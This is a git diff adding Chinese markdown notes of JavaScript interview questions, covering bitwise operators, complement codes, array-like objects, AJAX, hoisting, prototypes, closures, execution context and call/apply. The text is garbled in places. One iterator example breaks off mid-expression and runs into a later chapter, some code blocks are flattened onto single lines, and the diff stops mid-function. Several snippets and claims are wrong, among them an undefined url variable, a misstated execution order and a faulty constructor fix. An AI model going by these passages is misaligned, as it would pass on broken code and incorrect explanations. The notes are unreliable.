+```javascript +~ 1 = 0~ 0 = 1 +``` + +总结:对一个二进制数按位取反,即将0变1,1变0。 例如:~6 即: + +```javascript +0000 0110= 1111 1001 +``` + +在计算机中,正数用原码表示,负数使用补码存储,首先看最高位,最高位1表示负数,0表示正数。此计算机二进制码为负数,最高位为符号位。 当发现按位取反为负数时,就**直接取其补码**,变为十进制: + +```javascript +0000 0110 = 1111 1001反码:1000 0110补码:1000 0111 +``` + +因此,~6的值为-7。 + +#### 5. 左移运算符(<<) + +**定义:** 将一个运算对象的各二进制位全部左移若干位,左边的二进制位丢弃,右边补0。 设 a=1010 1110,a = a<< 2 将a的二进制位左移2位、右补0,即得a=1011 1000。 若左移时舍弃的高位不包含1,则每左移一位,相当于该数乘以2。 + +#### 6. 右移运算符(>>) + +**定义:** 将一个数的各二进制位全部右移若干位,正数左补0,负数左补1,右边丢弃。 例如:a=a>>2 将a的二进制位右移2位,左补0 或者 左补1得看被移数是正还是负。 操作数每右移一位,相当于该数除以2。 + +#### 7. 原码、补码、反码 + +上面提到了补码、反码等知识,这里就补充一下。 计算机中的**有符号数**有三种表示方法,即原码、反码和补码。三种表示方法均有符号位和数值位两部分,符号位都是用0表示“正”,用1表示“负”,而数值位,三种表示方法各不相同。 + +**(1)原码** + +原码就是一个数的二进制数。例如:10的原码为0000 1010 + +**(2)反码** + +- 正数的反码与原码相同,如:10 反码为 0000 1010 +- 负数的反码为除符号位,按位取反,即0变1,1变0。 + +例如:-10 + +```javascript +原码:1000 1010 +反码:1111 0101 +``` + +**(3)补码** + +- 正数的补码与原码相同,如:10 补码为 0000 1010 +- 负数的补码是原码除符号位外的所有位取反即0变1,1变0,然后加1,也就是反码加1。 + +例如:-10 + +```javascript +原码:1000 1010 +反码:1111 0101 +补码:1111 0110 +``` + +### 12. 为什么函数的 arguments 参数是类数组而不是数组?如何遍历类数组? :star: + +`arguments`是一个对象,它的属性是从 0 开始依次递增的数字,还有`callee`和`length`等属性,与数组相似;但是它却没有数组常见的方法属性,如`forEach`, `reduce`等,所以叫它们类数组(类数组对象)。 + +要遍历类数组,有三个方法: + +(1)将数组的方法应用到类数组上,这时候就可以使用`call`和`apply`方法,如: + +```javascript +function foo(){ + Array.prototype.forEach.call(arguments, a => console.log(a)) +} +``` + +(2)使用Array.from方法将类数组转化成数组:‌ + +```javascript +function foo(){ + const arrArgs = Array.from(arguments) + arrArgs.forEach(a => console.log(a)) +} +``` + +(3)使用展开运算符将类数组转化成数组 + +```javascript +function foo(){ + const arrArgs = [...arguments] + arrArgs.forEach(a => console.log(a)) +} +``` + +### 13. 什么是 DOM 和 BOM?:star: + +- **DOM 指的是文档对象模型,**它指的是把文档当做一个对象,这个对象主要定义了处理网页内容的方法和接口。 +- **BOM 指的是浏览器对象模型,**它指的是把浏览器当做一个对象来对待,这个对象主要定义了与浏览器进行交互的法和接口。BOM的核心是 window,而 window 对象具有双重角色,它既是通过 js 访问浏览器窗口的一个接口,又是一个 Global(全局)对象。这意味着在网页中定义的任何对象,变量和函数,都作为全局对象的一个属性或者方法存在。**window 对象含有 location 对象、navigator 对象、screen 对象等子对象,并且 DOM 的最根本的对象 document 对象也是 BOM 的 window 对象的子对象。** + +### 14. 对类数组对象的理解,如何转化为数组 :star::star: + +一个拥有 length 属性和若干索引属性的对象就可以被称为类数组对象,类数组对象和数组类似,但是不能调用数组的方法。常见的类数组对象有 arguments 和 DOM 方法的返回结果,函数参数也可以被看作是类数组对象,因为它含有 length属性值,代表可接收的参数个数。 + +常见的类数组转换为数组的方法有这样几种: + +- 通过 call 调用数组的 slice 方法来实现转换 + +```javascript +Array.prototype.slice.call(arrayLike); +``` + +- 通过 call 调用数组的 splice 方法来实现转换 + +```javascript +Array.prototype.splice.call(arrayLike, 0); +``` + +- 通过 apply 调用数组的 concat 方法来实现转换 + +```javascript +Array.prototype.concat.apply([], arrayLike); +``` + +- 通过 Array.from 方法来实现转换 + +```javascript +Array.from(arrayLike); +``` + +### 15. escape、encodeURI、encodeURIComponent 的区别 + +- encodeURI 是对整个 URI 进行转义,将 URI 中的非法字符转换为合法字符,所以对于一些在 URI 中有特殊意义的字符不会进行转义。 +- encodeURIComponent 是对 URI 的组成部分进行转义,所以一些特殊字符也会得到转义。 +- escape 和 encodeURI 的作用相同,不过它们对于 unicode 编码为 0xff 之外字符的时候会有区别,escape 是直接在字符的 unicode 编码前加上 %u,而 encodeURI 首先会将字符转换为 UTF-8 的格式,再在每个字节前加上 %。 + +### 16. 对AJAX的理解,实现一个AJAX请求 :star::star: + +AJAX是 Asynchronous JavaScript and **XML** 的缩写,指的是通过 JavaScript 的 异步通信,从服务器获取 XML 文档从中提取数据,再更新当前网页的对应部分,而不用刷新整个网页的技术实践方案。 + +创建AJAX请求的步骤: + +- **创建一个 XMLHttpRequest 对象。** +- 在这个对象上**使用 open 方法创建一个 HTTP 请求**,open 方法所需要的参数是请求的方法、请求的地址、是否异步和用户的认证信息。 +- 在发起请求前,可以为这个对象**添加一些信息和监听函数**。比如说可以通过 setRequestHeader 方法来为请求添加头信息。还可以为这个对象添加一个状态监听函数。一个 XMLHttpRequest 对象一共有 5 个状态,当它的状态变化时会触发onreadystatechange 事件,可以通过设置监听函数,来处理请求成功后的结果。当对象的 readyState 变为 4 的时候,代表服务器返回的数据接收完成,这个时候可以通过判断请求的状态,如果状态是 2xx 或者 304 的话则代表返回正常。这个时候就可以通过 response 中的数据来对页面进行更新了。 +- 当对象的属性和监听函数设置完成后,最后调**用 sent 方法来向服务器发起请求**,可以传入参数作为发送的数据体。 + +```javascript +const SERVER_URL = "/server"; +let xhr = new XMLHttpRequest(); +// 创建 Http 请求 +xhr.open("GET", url, true); +// 设置状态监听函数 +xhr.onreadystatechange = function() { + if (this.readyState !== 4) return; + // 当请求成功时 + if (this.status === 200) { + handle(this.response); + } else { + console.error(this.statusText); + } +}; +// 设置请求失败时的监听函数 +xhr.onerror = function() { + console.error(this.statusText); +}; +// 设置请求头信息 +xhr.responseType = "json"; +xhr.setRequestHeader("Accept", "application/json"); +// 发送 Http 请求 +xhr.send(null); +``` + +使用Promise封装AJAX: + +```javascript +// promise 封装实现: +function getJSON(url) { + // 创建一个 promise 对象 + let promise = new Promise(function(resolve, reject) { + let xhr = new XMLHttpRequest(); + // 新建一个 http 请求 + xhr.open("GET", url, true); + // 设置状态的监听函数 + xhr.onreadystatechange = function() { + if (this.readyState !== 4) return; + // 当请求成功或失败时,改变 promise 的状态 + if (this.status === 200) { + resolve(this.response); + } else { + reject(new Error(this.statusText)); + } + }; + // 设置错误监听函数 + xhr.onerror = function() { + reject(new Error(this.statusText)); + }; + // 设置响应的数据类型 + xhr.responseType = "json"; + // 设置请求头信息 + xhr.setRequestHeader("Accept", "application/json"); + // 发送 http 请求 + xhr.send(null); + }); + return promise; +} +``` + +### 17. JavaScript为什么要进行变量提升,它导致了什么问题?:star::star: + +变量提升的表现是,无论在函数中何处位置声明的变量,好像都被提升到了函数的首部,可以在变量声明前访问到而不会报错。 + +造成变量声明提升的**本质原因**是 js 引擎在代码执行前有一个解析的过程,创建了执行上下文,初始化了一些代码执行时需要用到的对象。当访问一个变量时,会到当前执行上下文中的作用域链中去查找,而作用域链的首端指向的是当前执行上下文的变量对象,这个变量对象是执行上下文的一个属性,它包含了函数的形参、所有的函数和变量声明,这个对象的是在代码解析的时候创建的。 + +首先要知道,JS在拿到一个变量或者一个函数的时候,会有两步操作,即解析和执行。 + +- 在解析阶段 + + ,JS会检查语法,并对函数进行预编译。解析的时候会先创建一个全局执行上下文环境,先把代码中即将执行的变量、函数声明都拿出来,变量先赋值为undefined,函数先声明好可使用。在一个函数执行之前,也会创建一个函数执行上下文环境,跟全局执行上下文类似,不过函数执行上下文会多出this、arguments和函数的参数。 + + - 全局上下文:变量定义,函数声明 + - 函数上下文:变量定义,函数声明,this,arguments + +- **在执行阶段**,就是按照代码的顺序依次执行。 + +那为什么会进行变量提升呢?主要有以下两个原因: + +- 提高性能 +- 容错性更好 + +**(1)提高性能** 在JS代码执行之前,会进行语法检查和预编译,并且这一操作只进行一次。这么做就是为了提高性能,如果没有这一步,那么每次执行代码前都必须重新解析一遍该变量(函数),而这是没有必要的,因为变量(函数)的代码并不会改变,解析一遍就够了。 + +在解析的过程中,还会为函数生成预编译代码。在预编译时,会统计声明了哪些变量、创建了哪些函数,并对函数的代码进行压缩,去除注释、不必要的空白等。这样做的好处就是每次执行函数时都可以直接为该函数分配栈空间(不需要再解析一遍去获取代码中声明了哪些变量,创建了哪些函数),并且因为代码压缩的原因,代码执行也更快了。 + +**(2)容错性更好** + +变量提升可以在一定程度上提高JS的容错性,看下面的代码: + +```javascript +a = 1;var a;console.log(a); +``` + +如果没有变量提升,这两行代码就会报错,但是因为有了变量提升,这段代码就可以正常执行。 + +虽然,在可以开发过程中,可以完全避免这样写,但是有时代码很复杂的时候。可能因为疏忽而先使用后定义了,这样也不会影响正常使用。由于变量提升的存在,而会正常运行。 + +**总结:** + +- 解析和预编译过程中的声明提升可以提高性能,让函数可以在执行时预先为变量分配栈空间 +- 声明提升还可以提高JS代码的容错性,使一些不规范的代码也可以正常执行 + +变量提升虽然有一些优点,但是他也会造成一定的问题,在ES6中提出了let、const来定义变量,它们就没有变量提升的机制。下面看一下变量提升可能会导致的问题: + +```javascript +var tmp = new Date(); + +function fn(){ + console.log(tmp); + if(false){ + var tmp = 'hello world'; + } +} + +fn(); // undefined +``` + +在这个函数中,原本是要打印出外层的tmp变量,但是因为变量提升的问题,内层定义的tmp被提到函数内部的最顶部,相当于覆盖了外层的tmp,所以打印结果为undefined。 + +```javascript +var tmp = 'hello world'; + +for (var i = 0; i < tmp.length; i++) { + console.log(tmp[i]); +} + +console.log(i); // 11 +``` + +由于遍历时定义的i会变量提升成为一个全局变量,在函数结束之后不会被销毁,所以打印出来11。 + +### 18. 什么是尾调用,使用尾调用有什么好处?(尾递归?) + +尾调用指的是函数的最后一步调用另一个函数。代码执行是基于执行栈的,所以当在一个函数里调用另一个函数时,会保留当前的执行上下文,然后再新建另外一个执行上下文加入栈中。使用尾调用的话,因为已经是函数的最后一步,所以这时可以不必再保留当前的执行上下文,从而节省了内存,这就是尾调用优化。但是 ES6 的尾调用优化只在严格模式下开启,正常模式是无效的。 + +### 19. **ES6**模块与**CommonJS**模块有什么异同?:star: + +ES6 Module和CommonJS模块的区别: + +- **CommonJS是对模块的浅拷⻉**,ES6 Module是对模块的引⽤,**即ES6 Module只存只读,不能改变其值**,也就是指针指向不能变,类似const; +- import的接⼝是read-only(只读状态),不能修改其变量值。 即不能修改其变量的指针指向,但可以改变变量内部指针指向,可以对commonJS对重新赋值(改变指针指向),但是对ES6 Module赋值会编译报错。 + +ES6 Module和CommonJS模块的共同点: + +- CommonJS和ES6 Module都可以对引⼊的对象进⾏赋值,即对对象内部属性的值进⾏改变。 + +> 补充同步异步加载 + +### 20. 常见的DOM操作有哪些 + +#### 1)DOM 节点的获取 + +DOM 节点的获取的API及使用: + +```javascript +getElementById // 按照 id 查询 +getElementsByTagName // 按照标签名查询 +getElementsByClassName // 按照类名查询 +querySelectorAll // 按照 css 选择器查询 + +// 按照 id 查询 +var imooc = document.getElementById('imooc') // 查询到 id 为 imooc 的元素 +// 按照标签名查询 +var pList = document.getElementsByTagName('p') // 查询到标签为 p 的集合 +console.log(divList.length) +console.log(divList[0]) +// 按照类名查询 +var moocList = document.getElementsByClassName('mooc') // 查询到类名为 mooc 的集合 +// 按照 css 选择器查询 +var pList = document.querySelectorAll('.mooc') // 查询到类名为 mooc 的集合 +``` + +#### 2)DOM 节点的创建 + +**创建一个新节点,并把它添加到指定节点的后面。** 已知的 HTML 结构如下: + +```html + + + DEMO + + +
    +

    我是标题

    +
    + + +``` + +要求添加一个有内容的 span 节点到 id 为 title 的节点后面,做法就是: + +```javascript +// 首先获取父节点 +var container = document.getElementById('container') +// 创建新节点 +var targetSpan = document.createElement('span') +// 设置 span 节点的内容 +targetSpan.innerHTML = 'hello world' +// 把新创建的元素塞进父节点里去 +container.appendChild(targetSpan) +``` + +#### 3)DOM 节点的删除 + +**删除指定的 DOM 节点,** 已知的 HTML 结构如下: + +```javascript + + + DEMO + + +
    +

    我是标题

    +
    + + +``` + +需要删除 id 为 title 的元素,做法是: + +```javascript +// 获取目标元素的父元素 +var container = document.getElementById('container') +// 获取目标元素 +var targetNode = document.getElementById('title') +// 删除目标元素 +container.removeChild(targetNode) +``` + +或者通过子节点数组来完成删除: + +```javascript +// 获取目标元素的父元素var container = document.getElementById('container')// 获取目标元素var targetNode = container.childNodes[1]// 删除目标元素container.removeChild(targetNode) +``` + +#### 4)修改 DOM 元素 + +修改 DOM 元素这个动作可以分很多维度,比如说移动 DOM 元素的位置,修改 DOM 元素的属性等。 + +**将指定的两个 DOM 元素交换位置,** 已知的 HTML 结构如下: + +```javascript + + + DEMO + + +
    +

    我是标题

    +

    我是内容

    +
    + + +``` + +现在需要调换 title 和 content 的位置,可以考虑 insertBefore 或者 appendChild: + +```javascript +// 获取父元素 +var container = document.getElementById('container') + +// 获取两个需要被交换的元素 +var title = document.getElementById('title') +var content = document.getElementById('content') +// 交换两个元素,把 content 置于 title 前面 +container.insertBefore(content, title) +``` + +### 21. use strict是什么意思 ? 使用它区别是什么? + +use strict 是一种 ECMAscript5 添加的(严格模式)运行模式,这种模式使得 Javascript 在更严格的条件下运行。设立严格模式的目的如下: + +- 消除 Javascript 语法的不合理、不严谨之处,减少怪异行为; +- 消除代码运行的不安全之处,保证代码运行的安全; +- 提高编译器效率,增加运行速度; +- 为未来新版本的 Javascript 做好铺垫。 + +区别: + +- 禁止使用 with 语句。 +- 禁止 this 关键字指向全局对象。 +- 对象不能有重名的属性。 + +### 22. 如何判断一个对象是否属于某个类?:star: + +- 第一种方式,使用 **instanceof** 运算符来判断构造函数的 prototype 属性是否出现在对象的原型链中的任何位置。 +- 第二种方式,通过对象的 **constructor** 属性来判断,对象的 constructor 属性指向该对象的构造函数,但是这种方式不是很安全,因为 constructor 属性可以被改写。 +- 第三种方式,如果需要判断的是**某个内置的引用类型的话,可以使用 Object.prototype.toString()** 方法来打印对象的[[Class]] 属性来进行判断。 + +### 23. 强类型语言和弱类型语言的区别 + +- **强类型语言**:强类型语言也称为强类型定义语言,是一种总是强制类型定义的语言,要求变量的使用要严格符合定义,所有变量都必须先定义后使用。Java和C++等语言都是强制类型定义的,也就是说,一旦一个变量被指定了某个数据类型,如果不经过强制转换,那么它就永远是这个数据类型了。例如你有一个整数,如果不显式地进行转换,你不能将其视为一个字符串。 +- **弱类型语言**:弱类型语言也称为弱类型定义语言,与强类型定义相反。JavaScript语言就属于弱类型语言。简单理解就是一种变量类型可以被忽略的语言。比如JavaScript是弱类型定义的,在JavaScript中就可以将字符串'12'和整数3进行连接得到字符串'123',在相加的时候会进行强制类型转换。 + +两者对比:强类型语言在速度上可能略逊色于弱类型语言,但是强类型语言带来的严谨性可以有效地帮助避免许多错误。 + +### 24. 解释性语言和编译型语言的区别 + +(1)解释型语言 使用专门的解释器对源程序逐行解释成特定平台的机器码并立即执行。是代码在执行时才被解释器一行行动态翻译和执行,而不是在执行之前就完成翻译。解释型语言不需要事先编译,其直接将源代码解释成机器码并立即执行,所以只要某一平台提供了相应的解释器即可运行该程序。其特点总结如下 + +- 解释型语言每次运行都需要将源代码解释称机器码并执行,效率较低; +- 只要平台提供相应的解释器,就可以运行源代码,所以可以方便源程序移植; +- JavaScript、Python等属于解释型语言。 + +(2)编译型语言 使用专门的编译器,针对特定的平台,将高级语言源代码一次性的编译成可被该平台硬件执行的机器码,并包装成该平台所能识别的可执行性程序的格式。在编译型语言写的程序执行之前,需要一个专门的编译过程,把源代码编译成机器语言的文件,如exe格式的文件,以后要再运行时,直接使用编译结果即可,如直接运行exe文件。因为只需编译一次,以后运行时不需要编译,所以编译型语言执行效率高。其特点总结如下: + +- 一次性的编译成平台相关的机器语言文件,运行时脱离开发环境,运行效率高; +- 与特定平台相关,一般无法移植到其他平台; +- C、C++等属于编译型语言。 + +**两者主要区别在于:** 前者源程序编译后即可在该平台运行,后者是在运行期间才编译。所以前者运行速度快,后者跨平台性好。 + +### 25. for...in和for...of的区别 + +for…of 是ES6新增的遍历方式,允许遍历一个含有iterator接口的数据结构(数组、对象等)并且返回各项的值,和ES3中的for…in的区别如下 + +- for…of 遍历获取的是对象的键值,for…in 获取的是对象的键名; +- for… in 会遍历对象的**整个原型链**,性能非常差不推荐使用,而 for … of 只遍历当前对象**不会遍历原型链**; +- 对于数组的遍历,for…in 会返回数组中所有可枚举的属性(包括原型链上可枚举的属性),for…of 只返回数组的下标对应的属性值; + +**总结:** for...in 循环主要是为了遍历对象而生,不适用于遍历数组;for...of 循环可以用来遍历数组、类数组对象,字符串、Set、Map 以及 Generator 对象。 + +### 26. 如何使用for...of遍历对象:star: + +for…of是作为ES6新增的遍历方式,**允许遍历一个含有iterator接口的数据结构(数组、对象等)并且返回各项的值,普通的对象用for..of遍历是会报错的。** + +如果需要遍历的对象是类数组对象,用Array.from转成数组即可。 + +```javascript +var obj = { + 0:'one', + 1:'two', + length: 2 +}; +obj = Array.from(obj); +for(var k of obj){ + console.log(k) +} +``` + +如果不是类数组对象,就给对象添加一个[Symbol.iterator]属性,并指向一个迭代器即可。 + +```javascript +//方法一: +var obj = { + a:1, + b:2, + c:3 +}; + +obj[Symbol.iterator] = function(){ + var keys = Object.keys(this); + var count = 0; + return { + next(){ + if(countObject.getPrototypeOf() 方法,可以通过这个方法来获取对象的原型。 + +当访问一个对象的属性时,如果这个对象内部不存在这个属性,那么它就会去它的原型对象里找这个属性,这个原型对象又会有自己的原型,于是就这样一直找下去,也就是原型链的概念。原型链的尽头一般来说都是 Object.prototype 所以这就是新建的对象为什么能够使用 toString() 等方法的原因。 + +**特点:** JavaScript 对象是通过引用来传递的,创建的每个新对象实体中并没有一份属于自己的原型副本。当修改原型时,与之相关的对象也会继承这一改变。 + + +![JavaScript知识总结原型篇_林恒smileZAZ的博客-CSDN博客](https://cdn.yihuiblog.top/images/202207011523647.png) + +### 2. 原型修改、重写 :star: + +```javascript +function Person(name) { + this.name = name +} +// 修改原型 +Person.prototype.getName = function() {} +var p = new Person('hello') +console.log(p.__proto__ === Person.prototype) // true +console.log(p.__proto__ === p.constructor.prototype) // true +// 重写原型 +Person.prototype = { + getName: function() {} +} +var p = new Person('hello') +console.log(p.__proto__ === Person.prototype) // true +console.log(p.__proto__ === p.constructor.prototype) // false +``` + +可以看到修改原型的时候p的构造函数不是指向Person了,**因为直接给Person的原型对象直接用对象赋值时,它的构造函数指向的了根构造函数Object**,所以这时候`p.constructor === Object` ,而不是`p.constructor === Person`。要想成立,就要用constructor指回来: + +```javascript +Person.prototype = { + getName: function() {} +} +var p = new Person('hello') +p.constructor = Person +console.log(p.__proto__ === Person.prototype) // true +console.log(p.__proto__ === p.constructor.prototype) // true +``` + +### 3. 原型链指向 :star::star: + +> var p = new Person('hello') + +```javascript +p.__proto__ // Person.prototype +Person.prototype.__proto__ // Object.prototype +p.__proto__.__proto__ //Object.prototype +p.__proto__.constructor.prototype.__proto__ // Object.prototype +Person.prototype.constructor.prototype.__proto__ // Object.prototype +p1.__proto__.constructor // Person +Person.prototype.constructor // Person +``` + +### 4. 原型链的终点是什么?如何打印出原型链的终点? + +由于`Object`是构造函数,原型链终点是`Object.prototype.__proto__`,而`Object.prototype.__proto__=== null // true`,所以,原型链的终点是`null`。原型链上的所有原型都是对象,所有的对象最终都是由`Object`构造的,而`Object.prototype`的下一级是`Object.prototype.__proto__`。 + +### 5. 如何获得对象非原型链上的属性? + +使用后`hasOwnProperty()`方法来判断属性是否属于原型链的属性: + +```javascript +function iterate(obj){ + var res=[]; + for(var key in obj){ + if(obj.hasOwnProperty(key)) + res.push(key+': '+obj[key]); + } + return res; +} +``` + +## 五、执行上下文/作用域链/闭包 :star: + +### 1. 对闭包的理解 :star::star: + +**闭包是指有权访问另一个函数作用域中变量的函数**,创建闭包的最常见的方式就是在一个函数内创建另一个函数,创建的函数可以访问到当前函数的局部变量。 + +闭包有两个常用的用途; + +- 闭包的第一个用途是使我们在函数外部能够访问到函数内部的变量。通过使用闭包,可以通过在外部调用闭包函数,从而在外部访问到函数内部的变量,可以使用这种方法来创建私有变量。 +- 闭包的另一个用途是使已经运行结束的函数上下文中的变量对象继续留在内存中,因为闭包函数保留了这个变量对象的引用,所以这个变量对象不会被回收。 + +比如,函数 A 内部有一个函数 B,函数 B 可以访问到函数 A 中的变量,那么函数 B 就是闭包。 + +```javascript +function A() { + let a = 1 + window.B = function () { + console.log(a) + } +} +A() +B() // 1 +``` + +在 JS 中,闭包存在的意义就是让我们可以间接访问函数内部的变量。经典面试题:循环中使用闭包解决 var 定义函数的问题 + +```javascript +for (var i = 1; i <= 5; i++) { + setTimeout(function timer() { + console.log(i) + }, i * 1000) +} +``` + +首先因为 `setTimeout` 是个异步函数,所以会先把循环全部执行完毕,这时候 `i` 就是 6 了,所以会输出一堆 6。解决办法有三种: + +- 第一种是使用闭包的方式 + +```javascript +for (var i = 1; i <= 5; i++) { + (function (j) { + setTimeout(function timer() { + console.log(j) + }, j * 1000) + })(i) +} +``` + +在上述代码中,首先使用了立即执行函数将 `i` 传入函数内部,这个时候值就被固定在了参数 `j` 上面不会改变,当下次执行 `timer` 这个闭包的时候,就可以使用外部函数的变量 `j`,从而达到目的。 + +- 第二种就是使用 `setTimeout` 的第三个参数,这个参数会被当成 `timer` 函数的参数传入。 + +```javascript +for (var i = 1; i <= 5; i++) { + setTimeout( + function timer(j) { + console.log(j) + }, + i * 1000, + i // 传入参数 + ) +} +``` + +- 第三种就是使用 `let` 定义 `i` 了来解决问题了,这个也是最为推荐的方式(块级作用域上下文) + +```javascript +for (let i = 1; i <= 5; i++) { + setTimeout(function timer() { + console.log(i) + }, i * 1000) +} +``` + +### 2. 对作用域、作用域链的理解 :star::star: + +##### 1)全局作用域和函数作用域 + +- 最外层函数和最外层函数外面定义的变量拥有全局作用域 +- 所有未定义直接赋值的变量自动声明为全局作用域 +- 所有window对象的属性拥有全局作用域 +- 全局作用域有很大的弊端,过多的全局作用域变量会污染全局命名空间,容易引起命名冲突。 + +**2)函数作用域** + +- 函数作用域声明在函数内部的变零,一般只有固定的代码片段可以访问到 +- 作用域是分层的,内层作用域可以访问外层作用域,反之不行 + +##### 3)块级作用域 + +- 使用ES6中新增的let和const指令可以声明块级作用域,块级作用域可以在函数中创建也可以在一个代码块中的创建(由`{ }`包裹的代码片段) +- let和const声明的变量不会有变量提升,也不可以重复声明 +- 在循环中比较适合绑定块级作用域,这样就可以把声明的计数器变量限制在循环内部。 + +**作用域链:** 在当前作用域中查找所需变量,但是该作用域没有这个变量,那这个变量就是自由变量。如果在自己作用域找不到该变量就去父级作用域查找,依次向上级作用域查找,直到访问到window对象就被终止,这一层层的关系就是作用域链。 + +作用域链的作用是**保证对执行环境有权访问的所有变量和函数的有序访问,通过作用域链,可以访问到外层环境的变量和函数。** + +作用域链的本质上是一个指向变量对象的指针列表。变量对象是一个包含了执行环境中所有变量和函数的对象。作用域链的前端始终都是当前执行上下文的变量对象。全局执行上下文的变量对象(也就是全局对象)始终是作用域链的最后一个对象。 + +当查找一个变量时,如果当前执行环境中没有找到,可以沿着作用域链向后查找。 + +### 3. 对执行上下文的理解 :star::star: + +##### 1. 执行上下文类型(3个类型) + +**(1)全局执行上下文** + +任何不在函数内部的都是全局执行上下文,它首先会创建一个全局的window对象,并且设置this的值等于这个全局对象,一个程序中只有一个全局执行上下文。 + +**(2)函数执行上下文** + +当一个函数被调用时,就会为该函数创建一个新的执行上下文,函数的上下文可以有任意多个。 + +**(3)**`eval`**函数执行上下文** + +执行在eval函数中的代码会有**属于他自己的执行上下文**,不过eval函数不常使用,不做介绍。 + +##### 2. 执行上下文栈 + +**JavaScript引擎使用执行上下文栈来管理执行上下文** + +当JavaScript执行代码时,首先遇到全局代码,会创建一个全局执行上下文并且压入执行栈中,每当遇到一个函数调用,就会为该函数创建一个新的执行上下文并压入栈顶,引擎会执行位于执行上下文栈顶的函数,当函数执行完成之后,执行上下文从栈中弹出,继续执行下一个上下文。当所有的代码都执行完毕之后,从栈中弹出全局执行上下文。 + +```javascript +let a = 'Hello World!'; +function first() { + console.log('Inside first function'); + second(); + console.log('Again inside first function'); +} +function second() { + console.log('Inside second function'); +} +first(); +//执行顺序 +//先执行second(),在执行first() +``` + +##### 3. 创建执行上下文 + +创建执行上下文有两个阶段:**创建阶段**和**执行阶段** + +**1)创建阶段** + +(1)**this绑定** + +- 在全局执行上下文中,this指向全局对象(window对象) +- 在函数执行上下文中,this指向取决于函数如何调用。如果它被一个引用对象调用,那么 this 会被设置成那个对象,否则 this 的值被设置为全局对象或者 undefined + +(2)**创建词法环境组件** + +- 词法环境是一种有**标识符——变量映射**的数据结构,标识符是指变量/函数名,变量是对实际对象或原始数据的引用。 + +- 词法环境的内部有两个组件: + + **环境记录器:**用来储存变量个函数声明的实际位置 + + **外部环境的引用**:可以访问父级作用域 + +(3)**创建变量环境组件** + +- 变量环境也是一个词法环境,其环境记录器持有变量声明语句在执行上下文中创建的绑定关系。 + +**2)执行阶段** 此阶段会完成对变量的分配,最后执行完代码。 + +**:star:简单来说执行上下文就是指:** + +在执行一点JS代码之前,需要先解析代码。解析的时候会先创建一个全局执行上下文环境,先把代码中即将执行的变量、函数声明都拿出来,变量先赋值为undefined,函数先声明好可使用。这一步执行完了,才开始正式的执行程序。 + +在一个函数执行之前,也会创建一个函数执行上下文环境,跟全局执行上下文类似,不过函数执行上下文会多出this、arguments和函数的参数。 + +- **全局上下文**:变量定义,函数声明(浏览器全局上下文`this`指向`window`) +- **函数上下文**:变量定义,函数声明,`this`,`arguments` + diff --git "a/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273\357\274\210\344\270\213\357\274\211.md" "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273\357\274\210\344\270\213\357\274\211.md" new file mode 100644 index 00000000..95a6d440 --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273\357\274\210\344\270\213\357\274\211.md" @@ -0,0 +1,983 @@ +--- +date: 2022-07-01 +category: +- 前端 +- JavaScript +--- + +> [「2021」高频前端面试题汇总之JavaScript篇(下)](https://juejin.cn/post/6941194115392634888) +# JavaScript 面试题汇总(下) + +## 六、this/call/apply/bind + +### 1. 对this对象的理解 :star::star: + +**this 是执行上下文中的一个属性**,它指向最后一次调用这个方法的对象。在实际开发中,this 的指向可以通过**五种调用模式**来判断。 + +- 第一种是**函数调用模式**,当一个函数不是一个对象的属性时,直接作为函数来调用时,this 指向全局对象(严格模式下为undefind,属于默认绑定)。 +- 第二种是**方法调用模式**,如果一个函数作为一个对象的方法来调用时,this 指向这个对象(属于隐式绑定)。 +- 第三种是**构造器调用模式**,如果一个函数用 new 调用时,构造函数执行前会新创建一个对象,this 指向这个新创建的对象。 +- 第四种是 **apply 、 call 和 bind 调用模式(显示绑定)**,这三个方法都可以显示的指定调用函数的 this 指向。其中 apply 方法接收两个参数:一个是 this 绑定的对象,一个是参数数组。call 方法接收的参数,第一个是 this 绑定的对象,后面的其余参数是传入函数执行的参数。也就是说,在使用 call() 方法时,传递给函数的参数必须逐个列举出来。bind 方法通过传入一个对象,返回一个 this 绑定了传入对象的新函数。这个函数的 this 指向除了使用 new 时会被改变,其他情况下都不会改变。 +- 第五种,特殊的箭头函数this指向父级执行上下文的this,没有自己的this + +前四种方式,使用**构造器调用模式的优先级最高**,然后是 apply、call 和 bind 调用模式,然后是方法调用模式,然后是函数调用模式。 + +### 2. call() 和 apply() 的区别? :star::star: + +它们的作用一模一样,区别仅在于传入参数的形式的不同。 + +- apply 接受两个参数,第一个参数指定了函数体内 this 对象的指向,第二个参数为一个带下标的集合,这个集合可以为数组,也可以为类数组,apply 方法把这个集合中的元素作为参数传递给被调用的函数。 +- call 传入的参数数量不固定,跟 apply 相同的是,第一个参数也是代表函数体内的 this 指向,从第二个参数开始往后,每个参数被依次传入函数。 + +### 3. 实现call、apply 及 bind 函数 :star::star: + +**(1)call 函数的实现步骤:** + +- 判断调用对象是否为函数,即使是定义在函数的原型上的,但是可能出现使用 call 等方式调用的情况。 +- 判断传入上下文对象是否存在,如果不存在,则设置为 window 。 +- 处理传入的参数,截取第一个参数后的所有参数。 +- 将函数作为上下文对象的一个属性。 +- 使用上下文对象来调用这个方法,并保存返回结果。 +- 删除刚才新增的属性。 +- 返回结果。 + +```javascript +Function.prototype.myCall = function(context) { + // 判断调用对象 + if (typeof this !== "function") { + console.error("type error"); + } + // 获取参数 + let args = [...arguments].slice(1), + result = null; + // 判断 context 是否传入,如果未传入则设置为 window + context = context || window; + // 将调用函数设为对象的方法 + context.fn = this; + // 调用函数 + result = context.fn(...args); + // 将属性删除 + delete context.fn; + return result; +}; +``` + +**(2)apply 函数的实现步骤:** + +- 判断调用对象是否为函数,即使是定义在函数的原型上的,但是可能出现使用 call 等方式调用的情况。 +- 判断传入上下文对象是否存在,如果不存在,则设置为 window 。 +- 将函数作为上下文对象的一个属性。 +- 判断参数值是否传入 +- 使用上下文对象来调用这个方法,并保存返回结果。 +- 删除刚才新增的属性 +- 返回结果 + +```javascript +Function.prototype.myApply = function(context) { + // 判断调用对象是否为函数 + if (typeof this !== "function") { + throw new TypeError("Error"); + } + let result = null; + // 判断 context 是否存在,如果未传入则为 window + context = context || window; + // 将函数设为对象的方法 + context.fn = this; + // 调用方法 + if (arguments[1]) { + result = context.fn(...arguments[1]); + } else { + 